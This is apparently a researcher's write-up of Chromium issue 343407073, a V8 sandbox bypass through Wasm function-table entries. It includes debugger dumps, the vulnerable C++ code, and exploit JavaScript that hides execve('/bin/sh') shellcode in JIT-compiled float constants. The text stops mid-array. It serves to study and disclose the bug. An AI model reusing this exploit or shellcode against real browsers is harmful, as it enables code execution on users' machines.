---
# System prepended metadata

title: Chromium Issue 343407073 analysis

---

Chromium Issue 343407073 analysis
---
先看一下 Wasm Object 在 memory 裡面長怎樣
https://issues.chromium.org/issues/343407073
```js=
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
var f_main = wasm_instance.exports.main;
f_main();

%DebugPrint(wasm_instance.exports.main);

%SystemBreak();
```

爬過一次後發現 WasmExportedFunctionData 不會直接存 WasmInteralFunction 的 pointer，而是存 WasmFuncRef 的 pointer。WasmFuncRef 裡面會有 WasmInteralFunction Object 的 address，而 WasmInteralFunction 裡面會有 WasmExportFunction 的資訊
![image](https://hackmd.io/_uploads/SydZEsRTA.png)

```js=
DebugPrint: 0x276f00199961: [Function] in OldSpace
 - map: 0x276f00192111 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x276f00181db9 <JSFunction (sfi = 0x276f0014188d)>
 - elements: 0x276f00000725 <FixedArray[0]> [HOLEY_ELEMENTS]
 - function prototype: <no-prototype-slot>
 - shared_info: 0x276f00199931 <SharedFunctionInfo js-to-wasm::i>
 - name: 0x276f00002809 <String[1]: #0>
 - builtin: JSToWasmWrapper
 - formal_parameter_count: 0
 - kind: NormalFunction
 - context: 0x276f00181729 <NativeContext[291]>
 - code: 0x276f0003bcc5 <Code BUILTIN JSToWasmWrapper>
 - Wasm instance: 0x276f0019981d <Instance map = 0x276f0018ef79>
 - Wasm function index: 0
 - properties: 0x276f00000725 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x276f00000d99: [String] in ReadOnlySpace: #length: 0x276f00287c35 <AccessorInfo name= 0x276f00000d99 <String[6]: #length>, data= 0x276f00000069 <undefined>> (const accessor descriptor), location: descriptor
    0x276f00000dc5: [String] in ReadOnlySpace: #name: 0x276f00287c1d <AccessorInfo name= 0x276f00000dc5 <String[4]: #name>, data= 0x276f00000069 <undefined>> (const accessor descriptor), location: descriptor
    0x276f0000423d: [String] in ReadOnlySpace: #arguments: 0x276f00287bed <AccessorInfo name= 0x276f0000423d <String[9]: #arguments>, data= 0x276f00000069 <undefined>> (const accessor descriptor), location: descriptor
    0x276f000044d1: [String] in ReadOnlySpace: #caller: 0x276f00287c05 <AccessorInfo name= 0x276f000044d1 <String[6]: #caller>, data= 0x276f00000069 <undefined>> (const accessor descriptor), location: descriptor
 }
 - feedback vector: feedback metadata is not available in SFI

gef➤  job 0x276f00199931
0x276f00199931: [SharedFunctionInfo] in OldSpace
 - map: 0x276f00000d39 <Map[48](SHARED_FUNCTION_INFO_TYPE)>
 - name: 0x276f00002809 <String[1]: #0>
 - kind: NormalFunction
 - syntax kind: AnonymousExpression
 - function_map_index: 211
 - formal_parameter_count: 0
 - expected_nof_properties: 0
 - language_mode: sloppy
 - function_data: 0x276f00199905 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)>
 - code (from function_data): 0x276f0003bcc5 <Code BUILTIN JSToWasmWrapper>
 - script: 0x276f0019971d <Script>
 - function token position: 88
 - start position: 88
 - end position: 92
 - scope info: 0x276f00000ec9 <ScopeInfo>
 - length: 0
 - feedback_metadata: <none>
 - function_literal_id: -1
 - unique_id: 824
 - age: 0
gef➤  job 0x276f00199905
0x276f00199905: [WasmExportedFunctionData] in OldSpace
 - map: 0x276f00001e25 <Map[44](WASM_EXPORTED_FUNCTION_DATA_TYPE)>
 - func_ref: 0x276f001998fd <Other heap object (WASM_FUNC_REF_TYPE)>
 - wrapper_code: 0x276f0003bcc5 <Code BUILTIN JSToWasmWrapper>
 - js_promise_flags: 0
 - instance: 0x276f0019981d <Instance map = 0x276f0018ef79>
 - function_index: 0
 - signature: 0x555557da33b0
 - wrapper_budget: 999
gef➤  job 0x276f001998fd
0x276f001998fd: [WasmFuncRef] in OldSpace
 - map: 0x276f00199899 <Map[8](WASM_FUNC_REF_TYPE)>
 - internal: 0x15b9000401e1 <Other heap object (WASM_INTERNAL_FUNCTION_TYPE)>
gef➤  job 0x15b9000401e1
0x15b9000401e1: [WasmInternalFunction]
 - map: 0x276f00001e4d <Map[28](WASM_INTERNAL_FUNCTION_TYPE)>
 - call target: 0x35c9a7905000
 - ref: 0x15b900040111 <Other heap object (WASM_TRUSTED_INSTANCE_DATA_TYPE)>
 - external: 0x276f00199961 <JSFunction js-to-wasm::i (sfi = 0x276f00199931)>
```

```js=
let wasm_code_0 = new Uint8Array([
    0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60,
   0x00, 0x01, 0x7d, 0x03, 0x02, 0x01, 0x00, 0x07, 0x0c, 0x01, 0x08, 0x69,
   0x6e, 0x64, 0x69, 0x72, 0x65, 0x63, 0x74, 0x00, 0x00, 0x0a, 0x09, 0x01,
   0x07, 0x00, 0x43, 0x8f, 0xc2, 0x75, 0x3c, 0x0b
]);
let wasm_mod_0 = new WebAssembly.Module(wasm_code_0);
let wasm_instance_0 = new WebAssembly.Instance(wasm_mod_0);
indirect = wasm_instance_0.exports.indirect;
```

The vuln is located at WasmTableObject::SetFunctionTableEntry
It gets wasm_function via function index and calls UpdateDispatchTables
```cpp=
void WasmTableObject::SetFunctionTableEntry(Isolate* isolate,
 Handle<WasmTableObject> table,
int entry_index,
Handle<Object> entry) {
 ...
 DCHECK(IsWasmFuncRef(*entry));
 Handle<Object> external = WasmInternalFunction::GetOrCreateExternal(
 handle(WasmFuncRef::cast(*entry)->internal(isolate), isolate));
     if (WasmExportedFunction::IsWasmExportedFunction(*external)) {
 auto exported_function = Handle<WasmExportedFunction>::cast(external);
[1]
 Handle<WasmTrustedInstanceData> target_instance_data(
 exported_function->instance()->trusted_data(isolate), isolate);
 int func_index = exported_function->function_index();
 const WasmModule* module = target_instance_data->module();
 SBXCHECK_LT(func_index, module->functions.size());
 auto* wasm_function = module->functions.data() + func_index; [2]
 UpdateDispatchTables(isolate, table, entry_index, wasm_function,
 target_instance_data);
 }
 ...
}
```
In UpdateDispatchTables, the function get call_target (which is located at a rwx memory region) via function index
```cpp=
void WasmTableObject::UpdateDispatchTables(
 Isolate* isolate, Handle<WasmTableObject> table, int entry_index,
 const wasm::WasmFunction* func,
 Handle<WasmTrustedInstanceData> target_instance_data) {
 ...
 Address call_target = target_instance_data->GetCallTarget(func-
>func_index);[3]
 ...
 Tagged<WasmTrustedInstanceData> instance_data =
 instance_object->trusted_data(isolate);
 instance_data->dispatch_table(table_index)
 ->Set(entry_index, *call_ref, call_target, sig_id);[4]
 }
}
```

```cpp=
Address WasmTrustedInstanceData::GetCallTarget(uint32_t func_index) {
 wasm::NativeModule* native_module = this->native_module();
 SBXCHECK_LT(func_index, native_module->num_functions());
     ...
 return jump_table_start() + JumpTableOffset(native_module->module(),
func_index); [5]
}

```
So, if we control function idx, we control call_target. If we control call_target, we can jump anywhere in rwx memory region.

If we directly modify func_idx via V8 memory_corruption_api, we will see the following message.
```
#
# Safely terminating process due to error in ../../src/wasm/wasm-objects.cc,
line 293
# The following harmless error was encountered: Check failed: func_index <
module->functions.size() (401 vs. 1).
```
which is due to the following check.
It get the size of functions (which is a vector) via wasm module. func_idx was located at WasmExportedFunctionData object, not at wasm module object.
So we can 
1. create another wasm_module, which contains a lot of function.
2. use V8 memory_corruption_api to change WasmModule field in WasmInstance
to bypass the check. 
```cpp=
 SBXCHECK_LT(func_index, module->functions.size());
```
we can jump anywhere in wasm rwx memory now!
How to get code execution?
There is a fun fact that TurboFan JIT compiles immediate numbers (such as floats) into movabs <reg>, <val> instructions - we can use this to place small pockets of shellcode in executable memory.![image](https://hackmd.io/_uploads/r1B70ChJ1g.png)
![image](https://hackmd.io/_uploads/SkYHACnkJl.png)
we can generate our shellcode and put it into wasm memory.
    
```
function ToHex(big_int){
    return "0x" + big_int.toString(16);
  }
  
  function smi(i) {
    return i << 1n;
  }
  
  let sandboxMemory = new DataView(new Sandbox.MemoryView(0, 0x100000000));
  
  function addrOf(obj) {
    return Sandbox.getAddressOf(obj);
  }
  
  function v8_read64(addr) {
    return sandboxMemory.getBigUint64(Number(addr), true);
  }
  
  function v8_write64(addr, val) {
    return sandboxMemory.setBigInt64(Number(addr), val, true);
  }
  
  const rtb = new WebAssembly.Table({
      initial: 1,
      element: "anyfunc",
      maximum: 10
  });
  
  
  const importObject = {
      env: { rtb }
  };
  
  let wasm_code_0 = new Uint8Array([
      0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x09, 0x02, 0x60,  0x00, 0x01, 0x7c, 0x60, 0x00, 0x01, 0x7d, 0x03, 0x03, 0x02, 0x00, 0x01,  0x07, 0x14, 0x02, 0x05, 0x73, 0x70, 0x72, 0x61, 0x79, 0x00, 0x00, 0x08,  0x69, 0x6e, 0x64, 0x69, 0x72, 0x65, 0x63, 0x74, 0x00, 0x01, 0x0a, 0x5b,  0x02, 0x51, 0x00, 0x44, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb, 0x07,  0x44, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x5b, 0xeb, 0x07, 0x44, 0x68, 0x2f,  0x62, 0x69, 0x6e, 0x59, 0xeb, 0x07, 0x44, 0x48, 0xc1, 0xe3, 0x20, 0x90,  0x90, 0xeb, 0x07, 0x44, 0x48, 0x01, 0xcb, 0x53, 0x90, 0x90, 0xeb, 0x07,  0x44, 0x48, 0x89, 0xe7, 0x6a, 0x3b, 0x58, 0xeb, 0x07, 0x44, 0x48, 0x31,  0xf6, 0x48, 0x31, 0xd2, 0xeb, 0x07, 0x44, 0x0f, 0x05, 0x90, 0x90, 0x90,  0x90, 0xeb, 0x07, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x0b, 0x07,  0x00, 0x43, 0x8f, 0xc2, 0x75, 0x3c, 0x0b
  ]);
  let wasm_mod_0 = new WebAssembly.Module(wasm_code_0);
  let wasm_instance_0 = new WebAssembly.Instance(wasm_mod_0);
  
  let wasm_code_1 = new Uint8Array([ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x0a, 0x02, 0x60,  0x00, 0x01, 0x7d, 0x60, 0x01, 0x7d, 0x01, 0x7d, 0x02, 0x0d, 0x01, 0x03,  0x65, 0x6e, 0x76, 0x03, 0x72, 0x74, 0x62, 0x01, 0x70, 0x00, 0x01, 0x03,  0x02, 0x01, 0x01, 0x07, 0x0b, 0x01, 0x07, 0x65, 0x78, 0x70, 0x6c, 0x6f,  0x69, 0x74, 0x00, 0x00, 0x0a, 0x0c, 0x01, 0x0a, 0x00, 0x41, 0x00, 0x11,  0x00, 0x00, 0x20, 0x00, 0x94, 0x0b]);
  let wasm_mod_1 = new WebAssembly.Module(wasm_code_1);
  let wasm_instance_1 = new WebAssembly.Instance(wasm_mod_1, importObject);
  
  let wasm_code_2 = new Uint8Array([
      0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x08, 0x02, 0x60,  0x00, 0x00, 0x60, 0x00, 0x01, 0x7d, 0x03, 0x94, 0x03, 0x92, 0x03, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x01, 0x07, 0xa4, 0x17, 0x92, 0x03, 0x02, 0x66,  0x30, 0x00, 0x00, 0x02, 0x66, 0x31, 0x00, 0x01, 0x02, 0x66, 0x32, 0x00,  0x02, 0x02, 0x66, 0x33, 0x00, 0x03, 0x02, 0x66, 0x34, 0x00, 0x04, 0x02,  0x66, 0x35, 0x00, 0x05, 0x02, 0x66, 0x36, 0x00, 0x06, 0x02, 0x66, 0x37,  0x00, 0x07, 0x02, 0x66, 0x38, 0x00, 0x08, 0x02, 0x66, 0x39, 0x00, 0x09,  0x03, 0x66, 0x31, 0x30, 0x00, 0x0a, 0x03, 0x66, 0x31, 0x31, 0x00, 0x0b,  0x03, 0x66, 0x31, 0x32, 0x00, 0x0c, 0x03, 0x66, 0x31, 0x33, 0x00, 0x0d,  0x03, 0x66, 0x31, 0x34, 0x00, 0x0e, 0x03, 0x66, 0x31, 0x35, 0x00, 0x0f,  0x03, 0x66, 0x31, 0x36, 0x00, 0x10, 0x03, 0x66, 0x31, 0x37, 0x00, 0x11,  0x03, 0x66, 0x31, 0x38, 0x00, 0x12, 0x03, 0x66, 0x31, 0x39, 0x00, 0x13,  0x03, 0x66, 0x32, 0x30, 0x00, 0x14, 0x03, 0x66, 0x32, 0x31, 0x00, 0x15,  0x03, 0x66, 0x32, 0x32, 0x00, 0x16, 0x03, 0x66, 0x32, 0x33, 0x00, 0x17,  0x03, 0x66, 0x32, 0x34, 0x00, 0x18, 0x03, 0x66, 0x32, 0x35, 0x00, 0x19,  0x03, 0x66, 0x32, 0x36, 0x00, 0x1a, 0x03, 0x66, 0x32, 0x37, 0x00, 0x1b,  0x03, 0x66, 0x32, 0x38, 0x00, 0x1c, 0x03, 0x66, 0x32, 0x39, 0x00, 0x1d,  0x03, 0x66, 0x33, 0x30, 0x00, 0x1e, 0x03, 0x66, 0x33, 0x31, 0x00, 0x1f,  0x03, 0x66, 0x33, 0x32, 0x00, 0x20, 0x03, 0x66, 0x33, 0x33, 0x00, 0x21,  0x03, 0x66, 0x33, 0x34, 0x00, 0x22, 0x03, 0x66, 0x33, 0x35, 0x00, 0x23,  0x03, 0x66, 0x33, 0x36, 0x00, 0x24, 0x03, 0x66, 0x33, 0x37, 0x00, 0x25,  0x03, 0x66, 0x33, 0x38, 0x00, 0x26, 0x03, 0x66, 0x33, 0x39, 0x00, 0x27,  0x03, 0x66, 0x34, 0x30, 0x00, 0x28, 0x03, 0x66, 0x34, 0x31, 0x00, 0x29,  0x03, 0x66, 0x34, 0x32, 0x00, 0x2a, 0x03, 0x66, 0x34, 0x33, 0x00, 0x2b,  0x03, 0x66, 0x34, 0x34, 0x00, 0x2c, 0x03, 0x66, 0x34, 0x35, 0x00, 0x2d,  0x03, 0x66, 0x34, 0x36, 0x00, 0x2e, 0x03, 0x66, 0x34, 0x37, 0x00, 0x2f,  0x03, 0x66, 0x34, 0x38, 0x00, 0x30, 0x03, 0x66, 0x34, 0x39, 0x00, 0x31,  0x03, 0x66, 0x35, 0x30, 0x00, 0x32, 0x03, 0x66, 0x35, 0x31, 0x00, 0x33,  0x03, 0x66, 0x35, 0x32, 0x00, 0x34, 0x03, 0x66, 0x35, 0x33, 0x00, 0x35,  0x03, 0x66, 0x35, 0x34, 0x00, 0x36, 0x03, 0x66, 0x35, 0x35, 0x00, 0x37,  0x03, 0x66, 0x35, 0x36, 0x00, 0x38, 0x03, 0x66, 0x35, 0x37, 0x00, 0x39,  0x03, 0x66, 0x35, 0x38, 0x00, 0x3a, 0x03, 0x66, 0x35, 0x39, 0x00, 0x3b,  0x03, 0x66, 0x36, 0x30, 0x00, 0x3c, 0x03, 0x66, 0x36, 0x31, 0x00, 0x3d,  0x03, 0x66, 0x36, 0x32, 0x00, 0x3e, 0x03, 0x66, 0x36, 0x33, 0x00, 0x3f,  0x03, 0x66, 0x36, 0x34, 0x00, 0x40, 0x03, 0x66, 0x36, 0x35, 0x00, 0x41,  0x03, 0x66, 0x36, 0x36, 0x00, 0x42, 0x03, 0x66, 0x36, 0x37, 0x00, 0x43,  0x03, 0x66, 0x36, 0x38, 0x00, 0x44, 0x03, 0x66, 0x36, 0x39, 0x00, 0x45,  0x03, 0x66, 0x37, 0x30, 0x00, 0x46, 0x03, 0x66, 0x37, 0x31, 0x00, 0x47,  0x03, 0x66, 0x37, 0x32, 0x00, 0x48, 0x03, 0x66, 0x37, 0x33, 0x00, 0x49,  0x03, 0x66, 0x37, 0x34, 0x00, 0x4a, 0x03, 0x66, 0x37, 0x35, 0x00, 0x4b,  0x03, 0x66, 0x37, 0x36, 0x00, 0x4c, 0x03, 0x66, 0x37, 0x37, 0x00, 0x4d,  0x03, 0x66, 0x37, 0x38, 0x00, 0x4e, 0x03, 0x66, 0x37, 0x39, 0x00, 0x4f,  0x03, 0x66, 0x38, 0x30, 0x00, 0x50, 0x03, 0x66, 0x38, 0x31, 0x00, 0x51,  0x03, 0x66, 0x38, 0x32, 0x00, 0x52, 0x03, 0x66, 0x38, 0x33, 0x00, 0x53,  0x03, 0x66, 0x38, 0x34, 0x00, 0x54, 0x03, 0x66, 0x38, 0x35, 0x00, 0x55,  0x03, 0x66, 0x38, 0x36, 0x00, 0x56, 0x03, 0x66, 0x38, 0x37, 0x00, 0x57,  0x03, 0x66, 0x38, 0x38, 0x00, 0x58, 0x03, 0x66, 0x38, 0x39, 0x00, 0x59,  0x03, 0x66, 0x39, 0x30, 0x00, 0x5a, 0x03, 0x66, 0x39, 0x31, 0x00, 0x5b,  0x03, 0x66, 0x39, 0x32, 0x00, 0x5c, 0x03, 0x66, 0x39, 0x33, 0x00, 0x5d,  0x03, 0x66, 0x39, 0x34, 0x00, 0x5e, 0x03, 0x66, 0x39, 0x35, 0x00, 0x5f,  0x03, 0x66, 0x39, 0x36, 0x00, 0x60, 0x03, 0x66, 0x39, 0x37, 0x00, 0x61,  0x03, 0x66, 0x39, 0x38, 0x00, 0x62, 0x03, 0x66, 0x39, 0x39, 0x00, 0x63,  0x04, 0x66, 0x31, 0x30, 0x30, 0x00, 0x64, 0x04, 0x66, 0x31, 0x30, 0x31,  0x00, 0x65, 0x04, 0x66, 0x31, 0x30, 0x32, 0x00, 0x66, 0x04, 0x66, 0x31,  0x30, 0x33, 0x00, 0x67, 0x04, 0x66, 0x31, 0x30, 0x34, 0x00, 0x68, 0x04,  0x66, 0x31, 0x30, 0x35, 0x00, 0x69, 0x04, 0x66, 0x31, 0x30, 0x36, 0x00,  0x6a, 0x04, 0x66, 0x31, 0x30, 0x37, 0x00, 0x6b, 0x04, 0x66, 0x31, 0x30,  0x38, 0x00, 0x6c, 0x04, 0x66, 0x31, 0x30, 0x39, 0x00, 0x6d, 0x04, 0x66,  0x31, 0x31, 0x30, 0x00, 0x6e, 0x04, 0x66, 0x31, 0x31, 0x31, 0x00, 0x6f,  0x04, 0x66, 0x31, 0x31, 0x32, 0x00, 0x70, 0x04, 0x66, 0x31, 0x31, 0x33,  0x00, 0x71, 0x04, 0x66, 0x31, 0x31, 0x34, 0x00, 0x72, 0x04, 0x66, 0x31,  0x31, 0x35, 0x00, 0x73, 0x04, 0x66, 0x31, 0x31, 0x36, 0x00, 0x74, 0x04,  0x66, 0x31, 0x31, 0x37, 0x00, 0x75, 0x04, 0x66, 0x31, 0x31, 0x38, 0x00,  0x76, 0x04, 0x66, 0x31, 0x31, 0x39, 0x00, 0x77, 0x04, 0x66, 0x31, 0x32,  0x30, 0x00, 0x78, 0x04, 0x66, 0x31, 0x32, 0x31, 0x00, 0x79, 0x04, 0x66,  0x31, 0x32, 0x32, 0x00, 0x7a, 0x04, 0x66, 0x31, 0x32, 0x33, 0x00, 0x7b,  0x04, 0x66, 0x31, 0x32, 0x34, 0x00, 0x7c, 0x04, 0x66, 0x31, 0x32, 0x35,  0x00, 0x7d, 0x04, 0x66, 0x31, 0x32, 0x36, 0x00, 0x7e, 0x04, 0x66, 0x31,  0x32, 0x37, 0x00, 0x7f, 0x04, 0x66, 0x31, 0x32, 0x38, 0x00, 0x80, 0x01,  0x04, 0x66, 0x31, 0x32, 0x39, 0x00, 0x81, 0x01, 0x04, 0x66, 0x31, 0x33,  0x30, 0x00, 0x82, 0x01, 0x04, 0x66, 0x31, 0x33, 0x31, 0x00, 0x83, 0x01,  0x04, 0x66, 0x31, 0x33, 0x32, 0x00, 0x84, 0x01, 0x04, 0x66, 0x31, 0x33,  0x33, 0x00, 0x85, 0x01, 0x04, 0x66, 0x31, 0x33, 0x34, 0x00, 0x86, 0x01,  0x04, 0x66, 0x31, 0x33, 0x35, 0x00, 0x87, 0x01, 0x04, 0x66, 0x31, 0x33,  0x36, 0x00, 0x88, 0x01, 0x04, 0x66, 0x31, 0x33, 0x37, 0x00, 0x89, 0x01,  0x04, 0x66, 0x31, 0x33, 0x38, 0x00, 0x8a, 0x01, 0x04, 0x66, 0x31, 0x33,  0x39, 0x00, 0x8b, 0x01, 0x04, 0x66, 0x31, 0x34, 0x30, 0x00, 0x8c, 0x01,  0x04, 0x66, 0x31, 0x34, 0x31, 0x00, 0x8d, 0x01, 0x04, 0x66, 0x31, 0x34,  0x32, 0x00, 0x8e, 0x01, 0x04, 0x66, 0x31, 0x34, 0x33, 0x00, 0x8f, 0x01,  0x04, 0x66, 0x31, 0x34, 0x34, 0x00, 0x90, 0x01, 0x04, 0x66, 0x31, 0x34,  0x35, 0x00, 0x91, 0x01, 0x04, 0x66, 0x31, 0x34, 0x36, 0x00, 0x92, 0x01,  0x04, 0x66, 0x31, 0x34, 0x37, 0x00, 0x93, 0x01, 0x04, 0x66, 0x31, 0x34,  0x38, 0x00, 0x94, 0x01, 0x04, 0x66, 0x31, 0x34, 0x39, 0x00, 0x95, 0x01,  0x04, 0x66, 0x31, 0x35, 0x30, 0x00, 0x96, 0x01, 0x04, 0x66, 0x31, 0x35,  0x31, 0x00, 0x97, 0x01, 0x04, 0x66, 0x31, 0x35, 0x32, 0x00, 0x98, 0x01,  0x04, 0x66, 0x31, 0x35, 0x33, 0x00, 0x99, 0x01, 0x04, 0x66, 0x31, 0x35,  0x34, 0x00, 0x9a, 0x01, 0x04, 0x66, 0x31, 0x35, 0x35, 0x00, 0x9b, 0x01,  0x04, 0x66, 0x31, 0x35, 0x36, 0x00, 0x9c, 0x01, 0x04, 0x66, 0x31, 0x35,  0x37, 0x00, 0x9d, 0x01, 0x04, 0x66, 0x31, 0x35, 0x38, 0x00, 0x9e, 0x01,  0x04, 0x66, 0x31, 0x35, 0x39, 0x00, 0x9f, 0x01, 0x04, 0x66, 0x31, 0x36,  0x30, 0x00, 0xa0, 0x01, 0x04, 0x66, 0x31, 0x36, 0x31, 0x00, 0xa1, 0x01,  0x04, 0x66, 0x31, 0x36, 0x32, 0x00, 0xa2, 0x01, 0x04, 0x66, 0x31, 0x36,  0x33, 0x00, 0xa3, 0x01, 0x04, 0x66, 0x31, 0x36, 0x34, 0x00, 0xa4, 0x01,  0x04, 0x66, 0x31, 0x36, 0x35, 0x00, 0xa5, 0x01, 0x04, 0x66, 0x31, 0x36,  0x36, 0x00, 0xa6, 0x01, 0x04, 0x66, 0x31, 0x36, 0x37, 0x00, 0xa7, 0x01,  0x04, 0x66, 0x31, 0x36, 0x38, 0x00, 0xa8, 0x01, 0x04, 0x66, 0x31, 0x36,  0x39, 0x00, 0xa9, 0x01, 0x04, 0x66, 0x31, 0x37, 0x30, 0x00, 0xaa, 0x01,  0x04, 0x66, 0x31, 0x37, 0x31, 0x00, 0xab, 0x01, 0x04, 0x66, 0x31, 0x37,  0x32, 0x00, 0xac, 0x01, 0x04, 0x66, 0x31, 0x37, 0x33, 0x00, 0xad, 0x01,  0x04, 0x66, 0x31, 0x37, 0x34, 0x00, 0xae, 0x01, 0x04, 0x66, 0x31, 0x37,  0x35, 0x00, 0xaf, 0x01, 0x04, 0x66, 0x31, 0x37, 0x36, 0x00, 0xb0, 0x01,  0x04, 0x66, 0x31, 0x37, 0x37, 0x00, 0xb1, 0x01, 0x04, 0x66, 0x31, 0x37,  0x38, 0x00, 0xb2, 0x01, 0x04, 0x66, 0x31, 0x37, 0x39, 0x00, 0xb3, 0x01,  0x04, 0x66, 0x31, 0x38, 0x30, 0x00, 0xb4, 0x01, 0x04, 0x66, 0x31, 0x38,  0x31, 0x00, 0xb5, 0x01, 0x04, 0x66, 0x31, 0x38, 0x32, 0x00, 0xb6, 0x01,  0x04, 0x66, 0x31, 0x38, 0x33, 0x00, 0xb7, 0x01, 0x04, 0x66, 0x31, 0x38,  0x34, 0x00, 0xb8, 0x01, 0x04, 0x66, 0x31, 0x38, 0x35, 0x00, 0xb9, 0x01,  0x04, 0x66, 0x31, 0x38, 0x36, 0x00, 0xba, 0x01, 0x04, 0x66, 0x31, 0x38,  0x37, 0x00, 0xbb, 0x01, 0x04, 0x66, 0x31, 0x38, 0x38, 0x00, 0xbc, 0x01,  0x04, 0x66, 0x31, 0x38, 0x39, 0x00, 0xbd, 0x01, 0x04, 0x66, 0x31, 0x39,  0x30, 0x00, 0xbe, 0x01, 0x04, 0x66, 0x31, 0x39, 0x31, 0x00, 0xbf, 0x01,  0x04, 0x66, 0x31, 0x39, 0x32, 0x00, 0xc0, 0x01, 0x04, 0x66, 0x31, 0x39,  0x33, 0x00, 0xc1, 0x01, 0x04, 0x66, 0x31, 0x39, 0x34, 0x00, 0xc2, 0x01,  0x04, 0x66, 0x31, 0x39, 0x35, 0x00, 0xc3, 0x01, 0x04, 0x66, 0x31, 0x39,  0x36, 0x00, 0xc4, 0x01, 0x04, 0x66, 0x31, 0x39, 0x37, 0x00, 0xc5, 0x01,  0x04, 0x66, 0x31, 0x39, 0x38, 0x00, 0xc6, 0x01, 0x04, 0x66, 0x31, 0x39,  0x39, 0x00, 0xc7, 0x01, 0x04, 0x66, 0x32, 0x30, 0x30, 0x00, 0xc8, 0x01,  0x04, 0x66, 0x32, 0x30, 0x31, 0x00, 0xc9, 0x01, 0x04, 0x66, 0x32, 0x30,  0x32, 0x00, 0xca, 0x01, 0x04, 0x66, 0x32, 0x30, 0x33, 0x00, 0xcb, 0x01,  0x04, 0x66, 0x32, 0x30, 0x34, 0x00, 0xcc, 0x01, 0x04, 0x66, 0x32, 0x30,  0x35, 0x00, 0xcd, 0x01, 0x04, 